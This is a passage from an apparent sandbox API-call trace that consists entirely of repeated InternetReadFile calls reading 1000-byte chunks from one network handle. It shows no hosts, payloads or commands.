hFile=0xcc000c, lpBuffer=0x343f660, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x343f660*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0095.689] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x343fa48, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x343fa48*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0095.689] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x343fe30, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x343fe30*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0095.689] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x3440218, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x3440218*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0095.690] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x3440600, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x3440600*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0095.690] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x34409e8, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x34409e8*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0095.690] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x3440dd0, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x3440dd0*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0095.690] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x34411b8, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x34411b8*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0095.690] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x34415a0, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x34415a0*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0095.690] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x3441988, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x3441988*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0095.690] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x3441d70, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x3441d70*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0095.692] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x3442158, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x3442158*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0095.692] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x3442540, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x3442540*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0095.692] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x3442928, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x3442928*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0095.692] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x3442d10, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x3442d10*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0095.693] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x34430f8, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x34430f8*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0095.693] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x34434e0, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x34434e0*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0095.693] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x34438c8, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x34438c8*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0095.693] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x3443cb0, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x3443cb0*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0095.693] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x3444098, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x3444098*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0095.693] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x3444480, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x3444480*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0095.693] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x3444868, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x3444868*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0095.694] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x3444c50, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x3444c50*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0095.694] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x3445038, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x3445038*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0095.694] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x3445420, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x3445420*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0095.694] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x3445808, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x3445808*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0095.694] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x3445bf0, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x3445bf0*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0095.694] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x3445fd8, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x3445fd8*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0095.695] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x34463c0, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x34463c0*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0095.695] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x34467a8, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x34467a8*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0095.695] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x3446b90, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x3446b90*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0095.695] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x3446f78, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x3446f78*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0095.695] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x3447360, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x3447360*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0095.695] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x3447748, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x3447748*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0095.696] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x3447b30, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x3447b30*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0095.696] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x3447f18, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x3447f18*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0095.696] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x3448300, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x3448300*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0095.696] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x34486e8, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x34486e8*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0095.696] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x3448ad0, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x3448ad0*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0095.696] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x3448eb8, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x3448eb8*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0095.697] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x34492a0, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x34492a0*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0095.697] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x3449688, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x3449688*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0095.697] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x3449a70, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x3449a70*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0095.697] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x3449e58, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x3449e58*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0095.697] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x344a240, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x344a240*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0095.697] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x344a628, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x344a628*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0095.697] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x344aa10, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x344aa10*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0095.698] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x344adf8, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x344adf8*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0095.698] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x344b1e0, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x344b1e0*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0095.698] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x344b5c8, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x344b5c8*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0095.698] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x344b9b0, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x344b9b0*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0095.698] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x344bd98, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x344bd98*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0095.698] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x344c180, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x344c180*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0095.699] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x344c568, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x344c568*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0095.699] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x344c950, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x344c950*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0095.699] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x344cd38, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x344cd38*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0095.699] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x344d120, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x344d120*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0095.699] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x344d508, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x344d508*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0095.699] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x344d8f0, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x344d8f0*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0095.699] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x344dcd8, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x344dcd8*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0095.700] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x344e0c0, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x344e0c0*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0095.700] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x344e4a8, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x344e4a8*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0095.700] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x344e890, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x344e890*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0095.700] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x344ec78, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x344ec78*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0095.700] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x344f060, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x344f060*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0095.700] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x344f448, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x344f448*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0095.700] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x344f830, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x344f830*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0095.701] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x344fc18, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x344fc18*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0095.701] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x3450000, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x3450000*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0095.701] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x34503e8, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x34503e8*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0095.701] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x34507d0, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x34507d0*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0095.701] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x3450bb8, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x3450bb8*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0095.701] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x3450fa0, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x3450fa0*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0095.701] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x3451388, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x3451388*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0095.701] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x3451770, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x3451770*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0095.702] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x3451b58, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x3451b58*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0095.702] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x3451f40, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x3451f40*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0095.702] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x3452328, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x3452328*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0095.702] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x3452710, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x3452710*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0095.702] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x3452af8, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x3452af8*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0095.702] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x3452ee0, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x3452ee0*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0095.702] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x34532c8, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x34532c8*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0095.703] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x34536b0, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x34536b0*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0095.703] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x3453a98, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x3453a98*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0095.703] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x3453e80, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x3453e80*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0095.703] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x3454268, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x3454268*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0095.703] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x3454650, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x3454650*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0095.703] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x3454a38, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x3454a38*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0095.703] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x3454e20, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x3454e20*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0095.704] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x3455208, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x3455208*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0095.704] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x34555f0, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x34555f0*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0095.704] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x34559d8, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x34559d8*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0095.704] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x3455dc0, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x3455dc0*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0095.704] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x34561a8, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x34561a8*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0095.704] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x3456590, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x3456590*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0095.704] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x3456978, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x3456978*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0095.704] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x3456d60, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x3456d60*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0095.705] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x3457148, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x3457148*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0095.707] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x3457530, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x3457530*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0095.708] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x3457918, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x3457918*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0095.708] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x3457d00, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x3457d00*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0095.708] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x34580e8, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x34580e8*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0095.708] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x34584d0, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x34584d0*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0095.708] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x34588b8, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x34588b8*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0095.708] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x3458ca0, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x3458ca0*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0095.709] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x3459088, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x3459088*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0095.710] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x3459470, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x3459470*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0095.710] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x3459858, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x3459858*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0095.710] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x3459c40, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x3459c40*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0095.710] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x345a028, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x345a028*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 